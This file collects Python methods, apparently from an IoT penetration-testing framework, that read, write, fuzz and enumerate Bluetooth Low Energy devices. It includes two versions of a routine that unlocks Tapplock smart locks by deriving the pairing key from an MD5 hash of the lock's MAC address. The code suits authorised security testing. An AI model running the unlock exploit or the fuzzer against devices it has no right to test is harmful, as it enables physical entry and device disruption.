def execute(self): """Execute the test.""" TLog.generic( "Fuzzing the value ({}), iterations ({}) for handle ({}) on BLE device ({})" .format(self.args.value, self.args.iter, hex(self.args.handle), self.args.addr)) try: device = BlePeripheral() device.connect( self.args.addr, addrType=(Ble.ADDR_TYPE_RANDOM if self.args.randaddrtype else Ble.ADDR_TYPE_PUBLIC), ) for _ in range(self.args.iter): value = self.args.value while value.find("xx") >= 0: value = value.replace( "xx", "{:02x}".format(randint(0, 0xFF)), 1 # nosec ) TLog.trydo("Writing the fuzzed value ({})".format(value)) device.writeCharacteristic( self.args.handle, bytes.fromhex(value), withResponse=(not self.args.noresponse), ) except: # noqa: E722 self.result.exception() finally: device.disconnect()
def execute(self): """Execute the test.""" TLog.generic( "Reading from Notify handle ({}) on BLE device ({})".format( hex(self.args.handle), self.args.addr)) timer = Timer(self.args.timeout) ndelegate = BleNotifyDelegate(self.notifycb) device = BlePeripheral() try: device.connect( self.args.addr, addrType=(ADDR_TYPE_RANDOM if self.args.randaddrtype else ADDR_TYPE_PUBLIC), ) TLog.generic("Enabling Notify on the handle") device.enable_notify(ndelegate, self.args.handle, write_response=True) while not timer.is_timeout(): device.waitForNotifications(1) if ndelegate.count() > 0: TLog.success("Total notification data received {}".format( ndelegate.count())) else: self.result.setstatus( passed=False, reason="No notification data received from BLE peripheral") except: # noqa: E722 self.result.exception() finally: device.disconnect()
def execute(self): """Execute the test.""" TLog.generic( "Writing the value ({}) to handle ({}) on BLE device ({})".format( self.args.value, hex(self.args.handle), self.args.addr ) ) device = BlePeripheral() try: device.connect( self.args.addr, addrType=( ADDR_TYPE_RANDOM if self.args.randaddrtype else ADDR_TYPE_PUBLIC ), ) device.writeCharacteristic( self.args.handle, bytes.fromhex(self.args.value), withResponse=(not self.args.noresponse), ) except: # noqa: E722 self.result.exception() finally: device.disconnect()
def execute(self): """Execute the test.""" TLog.generic( "Reading from handle ({}) on BLE device ({})".format( hex(self.args.handle), self.args.addr ) ) device = BlePeripheral() try: device.connect( self.args.addr, addrType=( ADDR_TYPE_RANDOM if self.args.randaddrtype else ADDR_TYPE_PUBLIC ), ) TLog.success( " (value={})".format( device.readCharacteristic( self.args.handle))) except: # noqa: E722 self.result.exception() finally: device.disconnect()
def enumerate(self): """ Enumerate the services and/or characteristics of the specified BLE device. :return: """ # Documentation is wrong, the first keyword argument is deviceAddr instead of # deviceAddress. http://ianharvey.github.io/bluepy-doc/ if self.args.services is False and self.args.chars is False: TLog.fail( "Specify the enumerations option(s). Either or both - services, chars" ) self.reason = "Incomplete arguments" return TLog.generic( "Enumerating services/characteristics of the device {}".format( self.args.addr ) ) device = BlePeripheral() try: device.connect( self.args.addr, addrType=( ADDR_TYPE_RANDOM if self.args.randaddrtype else ADDR_TYPE_PUBLIC ), ) self.found = True if self.args.services is True: services = device.getServices() for service in services: TLog.success( "(service uuid={})(handlestart={})(handleend={})".format( service.uuid, hex(service.hndStart), hex(service.hndEnd) ) ) if self.args.chars is True: chars = device.getCharacteristics() for char in chars: TLog.success( "(characteristic uuid={})(handle={})".format( char.uuid, hex(char.getHandle()) ) ) if self.args.verbose is True: support_property = char.propertiesToString() supports_read = char.supportsRead() TLog.success(" (supported_properties={})".format(support_property)) if supports_read is True: TLog.success(" (value={})".format(char.read())) except: # noqa: E722 self.reason = "Exception caught: {}".format(sysexcinfo()) finally: device.disconnect() if self.found is False and self.reason is None: self.reason = "Couldn't find any devices"
def unlock(self, mac, name=None): """ Unlock the specified Tapplock. Args: mac(str): The BLE address of the Tapplock name(str): The name of the Tapplock as advertised over BLE Returns: Nothing """ device = BlePeripheral() try: TLog.trydo("Unlocking Tapplock ({})".format(mac)) # Get key1 and serial pairing_data = None if self.args.default is False: remote_mac = ":".join(mac.upper().split(":")[::-1]) md5_hash = md5(remote_mac.encode()).hexdigest() # nosec key1 = md5_hash[0:8] serial = md5_hash[16:24] TLog.generic( "(Calculated hash={})(key1={})(serial={})".format( md5_hash, key1, serial ) ) pairing_data = self.PAIRPREXIX + key1 + serial else: TLog.generic( "(default key1={})(default serial={})".format( self.DEFKEY, self.DEFSERIAL ) ) pairing_data = self.DEFPAIR # Calculate the checksum checksum = 0 for byte in bytes.fromhex(pairing_data): checksum = checksum + (byte % 255) checksum_string = "{:04x}".format(checksum) # Create the pairing data pairing_data = pairing_data + checksum_string[2:4] + checksum_string[0:2] device.connect(mac, addrType=ADDR_TYPE_RANDOM) device.writeCharacteristic(self.UNLOCKHNDL, bytes.fromhex(pairing_data)) device.writeCharacteristic(self.UNLOCKHNDL, bytes.fromhex(self.UNLOCKCMD)) self.output_handler(tlogtype=TLog.TRYDO, logkwargs=LOGPRETTY, name=name, addr=device.addr, sent_pair_data=pairing_data, sent_unlock_cmd=self.UNLOCKCMD) finally: device.disconnect()
def execute(self): """ Execute the plugin. Enumerate the services and/or characteristics of the specified BLE device. Returns: Nothing """ # Documentation is wrong, the first keyword argument is deviceAddr instead of # deviceAddress. http://ianharvey.github.io/bluepy-doc/ if self.args.services is False and self.args.chars is False: reason = "Incomplete args. Enumerate what? Either or both - services, chars" self.result.setstatus(passed=False, reason=reason) return TLog.generic( "Enumerating services/characteristics of the device {}".format( self.args.addr ) ) device = BlePeripheral() try: device.connect( self.args.addr, addrType=( ADDR_TYPE_RANDOM if self.args.randaddrtype else ADDR_TYPE_PUBLIC ), ) if self.args.services is True: services = device.getServices() for service in services: self.output_handler(service_uuid=str(service.uuid), service_uuid_name=service.uuid.getCommonName(), handle_start=hex(service.hndStart), handle_end=hex(service.hndEnd)) if self.args.chars is True: chars = device.getCharacteristics() for char in chars: chardict = {"char_uuid": str(char.uuid), "char_uuid_name": char.uuid.getCommonName(), "handle": hex(char.getHandle()), "supported_properties": char.propertiesToString()} if char.supportsRead(): chardict["readvalue"] = char.read() self.output_handler(**chardict) except: # noqa: E722 self.result.setstatus(passed=False, reason="Exception caught: {}".format(sysexcinfo())) finally: device.disconnect()
def enumerate(self): """ Enumerate the services and/or characteristsics of the specified BLE device :return: """ # documentation is wrong, the first keyword argument is deviceAddr instead of deviceAddress as per the doc # Doc: http://ianharvey.github.io/bluepy-doc/ if self.args.services is False and self.args.chars is False: TLog.fail( "Specify the enumerations option(s). Either or both - services, chars" ) self.reason = "Incomplete arguments" return TLog.generic( "Enumerating services/characteristics of the device {}".format( self.args.addr)) d = BlePeripheral() try: d.connect(self.args.addr, addrType=(Ble.ADDR_TYPE_RANDOM if self.args.randaddrtype else Ble.ADDR_TYPE_PUBLIC)) self.found = True if self.args.services is True: svcs = d.getServices() for s in svcs: TLog.success( "(service uuid={})(handlestart={})(handleend={})". format(s.uuid, hex(s.hndStart), hex(s.hndEnd))) if self.args.chars is True: chrs = d.getCharacteristics() for c in chrs: TLog.success("(characteristic uuid={})(handle={})".format( c.uuid, hex(c.getHandle()))) if self.args.verbose is True: sr = c.supportsRead() TLog.success(" (supports_read={})".format(sr)) if sr is True: TLog.success(" (value={})".format(c.read())) except: self.reason = "Exception caught: {}".format(sysexcinfo()) finally: d.disconnect() if self.found is False and self.reason is None: self.reason = "Couldnt find any devices"
def unlock(self, mac): """ Unlock the specified Tapplock. :param mac: The BLE address of the Tapplock :return: """ device = BlePeripheral() try: TLog.trydo("Unlocking Tapplock ({})".format(mac)) # Get key1 and serial pairing_data = None if self.args.default is False: remote_mac = ":".join(mac.upper().split(":")[::-1]) md5_hash = md5(remote_mac.encode()).hexdigest() # nosec key1 = md5_hash[0:8] serial = md5_hash[16:24] TLog.generic("(Calculated hash={})(key1={})(serial={})".format( md5_hash, key1, serial)) pairing_data = self.PAIRPREXIX + key1 + serial else: TLog.generic("(default key1={})(default serial={})".format( self.DEFKEY, self.DEFSERIAL)) pairing_data = self.DEFPAIR # Calculate the checksum checksum = 0 for byte in bytes.fromhex(pairing_data): checksum = checksum + (byte % 255) checksum_string = "{:04x}".format(checksum) # Create the pairing data pairing_data = pairing_data + checksum_string[ 2:4] + checksum_string[0:2] device.connect(mac, addrType=ADDR_TYPE_RANDOM) TLog.trydo("Sending pair data({})".format(pairing_data)) device.writeCharacteristic(self.UNLOCKHNDL, bytes.fromhex(pairing_data)) TLog.trydo("Sending unlock command({})".format(self.UNLOCKCMD)) device.writeCharacteristic(self.UNLOCKHNDL, bytes.fromhex(self.UNLOCKCMD)) finally: device.disconnect()
def execute(self): TLog.generic( "Fuzzing the value ({}), iterations ({}) for handle ({}) on BLE device ({})" .format(self.args.value, self.args.iter, hex(self.args.handle), self.args.addr)) try: d = BlePeripheral() d.connect(self.args.addr, addrType=(Ble.ADDR_TYPE_RANDOM if self.args.randaddrtype else Ble.ADDR_TYPE_PUBLIC)) for i in range(self.args.iter): f = self.args.value while f.find("xx") >= 0: f = f.replace("xx", "{:02x}".format(randint(0, 0xff)), 1) TLog.trydo("Writing the fuzzed value ({})".format(f)) d.writeCharacteristic(self.args.handle, bytes.fromhex(f), withResponse=(not self.args.noresponse)) except: self.result.exception() finally: d.disconnect()